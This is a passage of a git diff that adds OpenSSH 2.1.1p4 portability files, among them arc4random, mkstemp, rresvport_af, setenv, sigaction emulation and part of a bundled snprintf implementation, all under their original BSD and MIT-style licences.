*rc4 = NULL; + +void rc4_key(rc4_t *r, unsigned char *key, int len) +{ + int t; + + for(r->i = 0; r->i < 256; r->i++) + r->s[r->i] = r->i; + + r->j = 0; + for(r->i = 0; r->i < 256; r->i++) + { + r->j = (r->j + r->s[r->i] + key[r->i % len]) % 256; + t = r->s[r->i]; + r->s[r->i] = r->s[r->j]; + r->s[r->j] = t; + } + r->i = r->j = 0; +} + +void rc4_getbytes(rc4_t *r, unsigned char *buffer, int len) +{ + int t; + int c; + + c = 0; + while(c < len) + { + r->i = (r->i + 1) % 256; + r->j = (r->j + r->s[r->i]) % 256; + t = r->s[r->i]; + r->s[r->i] = r->s[r->j]; + r->s[r->j] = t; + + t = (r->s[r->i] + r->s[r->j]) % 256; + + buffer[c] = r->s[t]; + c++; + } +} + +unsigned int arc4random(void) +{ + unsigned int r; + + if (rc4 == NULL) + arc4random_stir(); + + rc4_getbytes(rc4, (unsigned char *)&r, sizeof(r)); + + return(r); +} + +void arc4random_stir(void) +{ + unsigned char rand_buf[32]; + + if (rc4 == NULL) + rc4 = xmalloc(sizeof(*rc4)); + + seed_rng(); + RAND_bytes(rand_buf, sizeof(rand_buf)); + + rc4_key(rc4, rand_buf, sizeof(rand_buf)); + memset(rand_buf, 0, sizeof(rand_buf)); +} +#endif /* !HAVE_ARC4RANDOM */ + +#ifndef HAVE_SETPROCTITLE +void setproctitle(const char *fmt, ...) +{ + /* FIXME */ +} +#endif /* !HAVE_SETPROCTITLE */ + +#ifndef HAVE_SETLOGIN +int setlogin(const char *name) +{ + return(0); +} +#endif /* !HAVE_SETLOGIN */ + +#ifndef HAVE_INNETGR +int innetgr(const char *netgroup, const char *host, + const char *user, const char *domain) +{ + return(0); +} +#endif /* HAVE_INNETGR */ + +#if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) +int seteuid(uid_t euid) +{ + return(setreuid(-1,euid)); +} +#endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */ + +#if !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) +const char *strerror(void) +{ + return(sys_errlist[errno]); +} +#endif /* !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) */ diff --git a/other/openssh-2.1.1p4/bsd-misc.h b/other/openssh-2.1.1p4/bsd-misc.h new file mode 100644 index 0000000..76b4e1a --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-misc.h @@ -0,0 +1,65 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _BSD_MISC_H +#define _BSD_MISC_H + +#include "config.h" + +#ifndef HAVE_ARC4RANDOM +unsigned int arc4random(void); +void arc4random_stir(void); +#endif /* !HAVE_ARC4RANDOM */ + +#ifndef HAVE_SETPROCTITLE +void setproctitle(const char *fmt, ...); +#endif /* !HAVE_SETPROCTITLE */ + +#ifndef HAVE_SETENV +int setenv(const char *name, const char *value, int overwrite); +#endif /* !HAVE_SETENV */ + +#ifndef HAVE_SETLOGIN +int setlogin(const char *name); +#endif /* !HAVE_SETLOGIN */ + +#ifndef HAVE_INNETGR +int innetgr(const char *netgroup, const char *host, + const char *user, const char *domain); +#endif /* HAVE_INNETGR */ + +#if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) +int seteuid(uid_t euid); +#endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */ + +#if !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) +const char *strerror(void); +#endif /* !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) */ + +#endif /* _BSD_MISC_H */ diff --git a/other/openssh-2.1.1p4/bsd-mktemp.c b/other/openssh-2.1.1p4/bsd-mktemp.c new file mode 100644 index 0000000..7c02ea1 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-mktemp.c @@ -0,0 +1,189 @@ +/* THIS FILE HAS BEEN MODIFIED FROM THE ORIGINAL OPENBSD SOURCE */ +/* Changes: Removed mktemp */ + +/* + * Copyright (c) 1987, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#ifndef HAVE_MKDTEMP + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: mktemp.c,v 1.13 1998/06/30 23:03:13 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "bsd-misc.h" + +static int _gettemp(char *, int *, int, int); + +int +mkstemps(path, slen) + char *path; + int slen; +{ + int fd; + + return (_gettemp(path, &fd, 0, slen) ? fd : -1); +} + +int +mkstemp(path) + char *path; +{ + int fd; + + return (_gettemp(path, &fd, 0, 0) ? fd : -1); +} + +char * +mkdtemp(path) + char *path; +{ + return(_gettemp(path, (int *)NULL, 1, 0) ? path : (char *)NULL); +} + +static int +_gettemp(path, doopen, domkdir, slen) + char *path; + register int *doopen; + int domkdir; + int slen; +{ + register char *start, *trv, *suffp; + struct stat sbuf; + int pid, rval; + + if (doopen && domkdir) { + errno = EINVAL; + return(0); + } + + for (trv = path; *trv; ++trv) + ; + trv -= slen; + suffp = trv; + --trv; + if (trv < path) { + errno = EINVAL; + return (0); + } + pid = getpid(); + while (*trv == 'X' && pid != 0) { + *trv-- = (pid % 10) + '0'; + pid /= 10; + } + while (*trv == 'X') { + char c; + + pid = (arc4random() & 0xffff) % (26+26); + if (pid < 26) + c = pid + 'A'; + else + c = (pid - 26) + 'a'; + *trv-- = c; + } + start = trv + 1; + + /* + * check the target directory; if you have six X's and it + * doesn't exist this runs for a *very* long time. + */ + if (doopen || domkdir) { + for (;; --trv) { + if (trv <= path) + break; + if (*trv == '/') { + *trv = '\0'; + rval = stat(path, &sbuf); + *trv = '/'; + if (rval != 0) + return(0); + if (!S_ISDIR(sbuf.st_mode)) { + errno = ENOTDIR; + return(0); + } + break; + } + } + } + + for (;;) { + if (doopen) { + if ((*doopen = + open(path, O_CREAT|O_EXCL|O_RDWR, 0600)) >= 0) + return(1); + if (errno != EEXIST) + return(0); + } else if (domkdir) { + if (mkdir(path, 0700) == 0) + return(1); + if (errno != EEXIST) + return(0); + } else if (lstat(path, &sbuf)) + return(errno == ENOENT ? 1 : 0); + + /* tricky little algorithm for backward compatibility */ + for (trv = start;;) { + if (!*trv) + return (0); + if (*trv == 'Z') { + if (trv == suffp) + return (0); + *trv++ = 'a'; + } else { + if (isdigit(*trv)) + *trv = 'a'; + else if (*trv == 'z') /* inc from z to A */ + *trv = 'A'; + else { + if (trv == suffp) + return (0); + ++*trv; + } + break; + } + } + } + /*NOTREACHED*/ +} + +#endif /* !HAVE_MKDTEMP */ diff --git a/other/openssh-2.1.1p4/bsd-mktemp.h b/other/openssh-2.1.1p4/bsd-mktemp.h new file mode 100644 index 0000000..faddc91 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-mktemp.h @@ -0,0 +1,11 @@ +#ifndef _BSD_MKTEMP_H +#define _BSD_MKTEMP_H + +#include "config.h" +#ifndef HAVE_MKDTEMP +int mkstemps(char *path, int slen); +int mkstemp(char *path); +char *mkdtemp(char *path); +#endif /* !HAVE_MKDTEMP */ + +#endif /* _BSD_MKTEMP_H */ diff --git a/other/openssh-2.1.1p4/bsd-rresvport.c b/other/openssh-2.1.1p4/bsd-rresvport.c new file mode 100644 index 0000000..cda4c36 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-rresvport.c @@ -0,0 +1,105 @@ +/* + * Copyright (c) 1995, 1996, 1998 Theo de Raadt. All rights reserved. + * Copyright (c) 1983, 1993, 1994 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * This product includes software developed by Theo de Raadt. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#ifndef HAVE_RRESVPORT_AF + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: rresvport.c,v 1.4 1999/12/17 20:48:03 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include "includes.h" + +#if 0 +int +rresvport(alport) + int *alport; +{ + return rresvport_af(alport, AF_INET); +} +#endif + +int +rresvport_af(int *alport, sa_family_t af) +{ + struct sockaddr_storage ss; + struct sockaddr *sa; + u_int16_t *portp; + int s; + int salen; + + bzero(&ss, sizeof ss); + sa = (struct sockaddr *)&ss; + + switch (af) { + case AF_INET: + salen = sizeof(struct sockaddr_in); + portp = &((struct sockaddr_in *)sa)->sin_port; + break; + case AF_INET6: + salen = sizeof(struct sockaddr_in6); + portp = &((struct sockaddr_in6 *)sa)->sin6_port; + break; + default: + errno = EPFNOSUPPORT; + return (-1); + } + sa->sa_family = af; + + s = socket(af, SOCK_STREAM, 0); + if (s < 0) + return (-1); + + *portp = htons(*alport); + if (*alport < IPPORT_RESERVED - 1) { + if (bind(s, sa, salen) >= 0) + return (s); + if (errno != EADDRINUSE) { + (void)close(s); + return (-1); + } + } + + *portp = 0; + if (bindresvport_af(s, sa, af) == -1) { + (void)close(s); + return (-1); + } + *alport = ntohs(*portp); + return (s); +} + +#endif /* HAVE_RRESVPORT_AF */ diff --git a/other/openssh-2.1.1p4/bsd-rresvport.h b/other/openssh-2.1.1p4/bsd-rresvport.h new file mode 100644 index 0000000..d139895 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-rresvport.h @@ -0,0 +1,10 @@ +#ifndef _BSD_RRESVPORT_H +#define _BSD_RRESVPORT_H + +#include "config.h" + +#ifndef HAVE_RRESVPORT_AF +int rresvport_af(int *alport, sa_family_t af); +#endif /* !HAVE_RRESVPORT_AF */ + +#endif /* _BSD_RRESVPORT_H */ diff --git a/other/openssh-2.1.1p4/bsd-setenv.c b/other/openssh-2.1.1p4/bsd-setenv.c new file mode 100644 index 0000000..f5dbd27 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-setenv.c @@ -0,0 +1,161 @@ +/* + * Copyright (c) 1987 Regents of the University of California. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_SETENV + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: setenv.c,v 1.3 1998/02/02 22:44:53 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * __findenv -- + * Returns pointer to value associated with name, if any, else NULL. + * Sets offset to be the offset of the name/value combination in the + * environmental array, for use by setenv(3) and unsetenv(3). + * Explicitly removes '=' in argument name. + * + * This routine *should* be a static; don't use it. + */ +char * +__findenv(name, offset) + register const char *name; + int *offset; +{ + extern char **environ; + register int len, i; + register const char *np; + register char **p, *cp; + + if (name == NULL || environ == NULL) + return (NULL); + for (np = name; *np && *np != '='; ++np) + ; + len = np - name; + for (p = environ; (cp = *p) != NULL; ++p) { + for (np = name, i = len; i && *cp; i--) + if (*cp++ != *np++) + break; + if (i == 0 && *cp++ == '=') { + *offset = p - environ; + return (cp); + } + } + return (NULL); +} + +/* + * setenv -- + * Set the value of the environmental variable "name" to be + * "value". If rewrite is set, replace any current value. + */ +int +setenv(name, value, rewrite) + register const char *name; + register const char *value; + int rewrite; +{ + extern char **environ; + static int alloced; /* if allocated space before */ + register char *C; + int l_value, offset; + char *__findenv(); + + if (*value == '=') /* no `=' in value */ + ++value; + l_value = strlen(value); + if ((C = __findenv(name, &offset))) { /* find if already exists */ + if (!rewrite) + return (0); + if (strlen(C) >= l_value) { /* old larger; copy over */ + while ((*C++ = *value++)); + return (0); + } + } else { /* create new slot */ + register int cnt; + register char **P; + + for (P = environ, cnt = 0; *P; ++P, ++cnt); + if (alloced) { /* just increase size */ + P = (char **)realloc((void *)environ, + (size_t)(sizeof(char *) * (cnt + 2))); + if (!P) + return (-1); + environ = P; + } + else { /* get new space */ + alloced = 1; /* copy old entries into it */ + P = (char **)malloc((size_t)(sizeof(char *) * + (cnt + 2))); + if (!P) + return (-1); + bcopy(environ, P, cnt * sizeof(char *)); + environ = P; + } + environ[cnt + 1] = NULL; + offset = cnt; + } + for (C = (char *)name; *C && *C != '='; ++C); /* no `=' in name */ + if (!(environ[offset] = /* name + `=' + value */ + malloc((size_t)((int)(C - name) + l_value + 2)))) + return (-1); + for (C = environ[offset]; (*C = *name++) && *C != '='; ++C) + ; + for (*C++ = '='; (*C++ = *value++); ) + ; + return (0); +} + +/* + * unsetenv(name) -- + * Delete environmental variable "name". + */ +void +unsetenv(name) + const char *name; +{ + extern char **environ; + register char **P; + int offset; + char *__findenv(); + + while (__findenv(name, &offset)) /* if set multiple times */ + for (P = &environ[offset];; ++P) + if (!(*P = *(P + 1))) + break; +} + +#endif /* HAVE_SETENV */ diff --git a/other/openssh-2.1.1p4/bsd-setenv.h b/other/openssh-2.1.1p4/bsd-setenv.h new file mode 100644 index 0000000..62ebc20 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-setenv.h @@ -0,0 +1,12 @@ +#ifndef _BSD_SETENV_H +#define _BSD_SETENV_H + +#include "config.h" + +#ifndef HAVE_SETENV + +int setenv(register const char *name, register const char *value, int rewrite); + +#endif /* !HAVE_SETENV */ + +#endif /* _BSD_SETENV_H */ diff --git a/other/openssh-2.1.1p4/bsd-sigaction.c b/other/openssh-2.1.1p4/bsd-sigaction.c new file mode 100644 index 0000000..d6966d4 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-sigaction.c @@ -0,0 +1,102 @@ +/* $OpenBSD: sigaction.c,v 1.3 1999/06/27 08:14:21 millert Exp $ */ + +/**************************************************************************** + * Copyright (c) 1998 Free Software Foundation, Inc. * + * * + * Permission is hereby granted, free of charge, to any person obtaining a * + * copy of this software and associated documentation files (the * + * "Software"), to deal in the Software without restriction, including * + * without limitation the rights to use, copy, modify, merge, publish, * + * distribute, distribute with modifications, sublicense, and/or sell * + * copies of the Software, and to permit persons to whom the Software is * + * furnished to do so, subject to the following conditions: * + * * + * The above copyright notice and this permission notice shall be included * + * in all copies or substantial portions of the Software. * + * * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * + * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * + * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * + * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * + * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * + * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * + * * + * Except as contained in this notice, the name(s) of the above copyright * + * holders shall not be used in advertising or otherwise to promote the * + * sale, use or other dealings in this Software without prior written * + * authorization. * + ****************************************************************************/ + +/**************************************************************************** + * Author: Zeyd M. Ben-Halim 1992,1995 * + * and: Eric S. Raymond * + ****************************************************************************/ + +#include +#include "config.h" +#include "bsd-sigaction.h" + +/* This file provides sigaction() emulation using sigvec() */ +/* Use only if this is non POSIX system */ + +#if !HAVE_SIGACTION && HAVE_SIGVEC + +int +sigaction(int sig, struct sigaction *sigact, struct sigaction *osigact) +{ + return sigvec(sig, &(sigact->sv), &(osigact->sv)); +} + +int +sigemptyset (sigset_t * mask) +{ + *mask = 0; + return 0; +} + +int +sigprocmask (int mode, sigset_t * mask, sigset_t * omask) +{ + sigset_t current = sigsetmask(0); + + if (omask) *omask = current; + + if (mode==SIG_BLOCK) + current |= *mask; + else if (mode==SIG_UNBLOCK) + current &= ~*mask; + else if (mode==SIG_SETMASK) + current = *mask; + + sigsetmask(current); + return 0; +} + +int +sigsuspend (sigset_t * mask) +{ + return sigpause(*mask); +} + +int +sigdelset (sigset_t * mask, int sig) +{ + *mask &= ~sigmask(sig); + return 0; +} + +int +sigaddset (sigset_t * mask, int sig) +{ + *mask |= sigmask(sig); + return 0; +} + +int +sigismember (sigset_t * mask, int sig) +{ + return (*mask & sigmask(sig)) != 0; +} + +#endif diff --git a/other/openssh-2.1.1p4/bsd-sigaction.h b/other/openssh-2.1.1p4/bsd-sigaction.h new file mode 100644 index 0000000..b37c1f8 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-sigaction.h @@ -0,0 +1,88 @@ +/* $OpenBSD: SigAction.h,v 1.2 1999/06/27 08:15:19 millert Exp $ */ + +/**************************************************************************** + * Copyright (c) 1998 Free Software Foundation, Inc. * + * * + * Permission is hereby granted, free of charge, to any person obtaining a * + * copy of this software and associated documentation files (the * + * "Software"), to deal in the Software without restriction, including * + * without limitation the rights to use, copy, modify, merge, publish, * + * distribute, distribute with modifications, sublicense, and/or sell * + * copies of the Software, and to permit persons to whom the Software is * + * furnished to do so, subject to the following conditions: * + * * + * The above copyright notice and this permission notice shall be included * + * in all copies or substantial portions of the Software. * + * * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * + * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * + * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * + * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * + * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * + * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * + * * + * Except as contained in this notice, the name(s) of the above copyright * + * holders shall not be used in advertising or otherwise to promote the * + * sale, use or other dealings in this Software without prior written * + * authorization. * + ****************************************************************************/ + +/**************************************************************************** + * Author: Zeyd M. Ben-Halim 1992,1995 * + * and: Eric S. Raymond * + ****************************************************************************/ + +/* + * $From: SigAction.h,v 1.5 1999/06/19 23:00:54 tom Exp $ + * + * This file exists to handle non-POSIX systems which don't have , + * and usually no sigaction() nor + */ + +#ifndef _SIGACTION_H +#define _SIGACTION_H + +#if !defined(HAVE_SIGACTION) && defined(HAVE_SIGVEC) + +#undef SIG_BLOCK +#define SIG_BLOCK 00 + +#undef SIG_UNBLOCK +#define SIG_UNBLOCK 01 + +#undef SIG_SETMASK +#define SIG_SETMASK 02 + +/* + * is in the Linux 1.2.8 + gcc 2.7.0 configuration, + * and is useful for testing this header file. + */ +#if HAVE_BSD_SIGNAL_H +# include +#endif + +struct sigaction +{ + struct sigvec sv; +}; + +typedef unsigned long sigset_t; + +#undef sa_mask +#define sa_mask sv.sv_mask +#undef sa_handler +#define sa_handler sv.sv_handler +#undef sa_flags +#define sa_flags sv.sv_flags + +int sigaction(int sig, struct sigaction *sigact, struct sigaction *osigact); +int sigprocmask (int how, sigset_t *mask, sigset_t *omask); +int sigemptyset (sigset_t *mask); +int sigsuspend (sigset_t *mask); +int sigdelset (sigset_t *mask, int sig); +int sigaddset (sigset_t *mask, int sig); + +#endif /* !defined(HAVE_SIGACTION) && defined(HAVE_SIGVEC) */ + +#endif /* !defined(_SIGACTION_H) */ diff --git a/other/openssh-2.1.1p4/bsd-snprintf.c b/other/openssh-2.1.1p4/bsd-snprintf.c new file mode 100644 index 0000000..4716ee2 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-snprintf.c @@ -0,0 +1,788 @@ +/************************************************************** + * Original: + * Patrick Powell Tue Apr 11 09:48:21 PDT 1995 + * A bombproof version of doprnt (dopr) included. + * Sigh. This sort of thing is always nasty do deal with. Note that + * the version here does not include floating point... + * + * snprintf() is used instead of sprintf() as it does limit checks + * for string length. This covers a nasty loophole. + * + * The other functions are there to prevent NULL pointers from + * causing nast effects. + * + * More Recently: + * Brandon Long 9/15/96 for mutt 0.43 + * This was ugly. It is still ugly. I opted out of floating point + * numbers, but the formatter understands just about everything + * from the normal C string format, at least as far as I can tell from + * the Solaris 2.5 printf(3S) man page. + * + * Brandon Long 10/22/97 for mutt 0.87.1 + * Ok, added some minimal floating point support, which means this + * probably requires libm on most operating systems. Don't yet + * support the exponent (e,E) and sigfig (g,G). Also, fmtint() + * was pretty badly broken, it just wasn't being exercised in ways + * which showed it, so that's been fixed. Also, formated the code + * to mutt conventions, and removed dead code left over from the + * original. Also, there is now a builtin-test, just compile with: + * gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm + * and run snprintf for results. + * + * Thomas Roessler 01/27/98 for mutt 0.89i + * The PGP code was using unsigned hexadecimal formats. + * Unfortunately, unsigned formats simply didn't work. + * + * Michael Elkins 03/05/98 for mutt 0.90.8 + * The original code assumed that both snprintf() and vsnprintf() were + * missing. Some systems only have snprintf() but not vsnprintf(), so + * the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF. + * + **************************************************************/ + +#include "config.h" + +#if !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) + +#include +# include +#include + +/* Define this as a fall through, HAVE_STDARG_H is probably already set */ + +#define HAVE_VARARGS_H + +/* varargs declarations: */ + +#if defined(HAVE_STDARG_H) +# include +# define HAVE_STDARGS /* let's hope that works everywhere (mj) */ +# define VA_LOCAL_DECL va_list ap +# define VA_START(f) va_start(ap, f) +# define VA_SHIFT(v,t) ; /* no-op for ANSI */ +# define VA_END va_end(ap) +#else +# if defined(HAVE_VARARGS_H) +# include +# undef HAVE_STDARGS +# define VA_LOCAL_DECL va_list ap +# define VA_START(f) va_start(ap) /* f is ignored! */ +# define VA_SHIFT(v,t) v = va_arg(ap,t) +# define VA_END va_end(ap) +# else +/*XX ** NO VARARGS ** XX*/ +# endif +#endif + +/*int snprintf (char *str, size_t count, const char *fmt, ...);*/ +/*int vsnprintf (char *str, size_t count, const char *fmt, va_list arg);*/ + +static void dopr (char *buffer, size_t maxlen, const char *format, + va_list args); +static void fmtstr (char *buffer, size_t *currlen, size_t maxlen, + char *value, int flags, int min, int max); +static void fmtint (char *buffer, size_t *currlen, size_t maxlen, + long value, int base, int min, int max, int flags); +static void fmtfp (char *buffer, size_t *currlen, size_t maxlen, + long double fvalue, int min, int max, int flags); +static void dopr_outch (char *buffer, size_t *currlen, size_t maxlen, char c ); + +/* + * dopr(): poor man's version of doprintf + */ + +/* format read states */ +#define DP_S_DEFAULT 0 +#define DP_S_FLAGS 1 +#define DP_S_MIN 2 +#define DP_S_DOT 3 +#define DP_S_MAX 4 +#define DP_S_MOD 5 +#define DP_S_CONV 6 +#define DP_S_DONE 7 + +/* format flags - Bits */ +#define DP_F_MINUS (1 << 0) +#define DP_F_PLUS (1 << 1) +#define DP_F_SPACE (1 << 2) +#define DP_F_NUM (1 << 3) +#define DP_F_ZERO (1 << 4) +#define DP_F_UP (1 << 5) +#define DP_F_UNSIGNED (1 << 6) + +/* Conversion Flags */ +#define DP_C_SHORT 1 +#define DP_C_LONG 2 +#define DP_C_LDOUBLE 3 + +#define char_to_int(p) (p - '0') +#define MAX(p,q) ((p >= q) ? p : q) + +static void dopr (char *buffer, size_t maxlen, const char *format, va_list args) +{ + char ch; + long value; + long double fvalue; + char *strvalue; + int min; + int max; + int state; + int flags; + int cflags; + size_t currlen; + + state = DP_S_DEFAULT; + currlen = flags = cflags = min = 0; + max = -1; + ch = *format++; + + while (state != DP_S_DONE) + { + if ((ch == '\0') || (currlen >= maxlen)) + state = DP_S_DONE; + + switch(state) + { + case DP_S_DEFAULT: + if (ch == '%') + state = DP_S_FLAGS; + else + dopr_outch (buffer, &currlen, maxlen, ch); + ch = *format++; + break; + case DP_S_FLAGS: + switch (ch) + { + case '-': + flags |= DP_F_MINUS; + ch = *format++; + break; + case '+': + flags |= DP_F_PLUS; + ch = *format++; + break; + case ' ': + flags |= DP_F_SPACE; + ch = *format++; + break; + case '#': + flags |= DP_F_NUM; + ch = *format++; + break; + case '0': + flags |= DP_F_ZERO; + ch = *format++; 